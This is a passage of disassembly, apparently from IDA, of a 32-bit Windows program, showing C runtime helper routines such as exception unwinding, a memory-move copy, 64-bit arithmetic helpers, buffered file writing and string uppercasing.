0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D568 push [ebp+arg_0] call sub_426356 sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D568 proc near ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE2C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE2C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; ___:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD39C call sub_422EA8 mov edx, dword_4DD39C pop ecx mov ecx, dword_4DD398 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD39C call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD398 sub ecx, dword_4DD39C mov dword_4DD39C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD398, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD398, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: ___:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD39C, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD39C pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD39C mov dword_4DD398, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+14h] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: ___:0041DA9Ej ; ___:0041DAA3j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+14h], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: ___:0041DAB2j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: ___:0041DACDj test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: ___:0041DAD4j ; ___:0041DAD8j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: ___:0041DA96j ; ___:0041DAA8j mov dword_4DBDDC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: ___:0041DB05j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: ___:0041668Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2680E33h nop cmp eax, 0FFFFFFFFh jnz short loc_41DC7E call near ptr 2680972h nop push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE84 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax 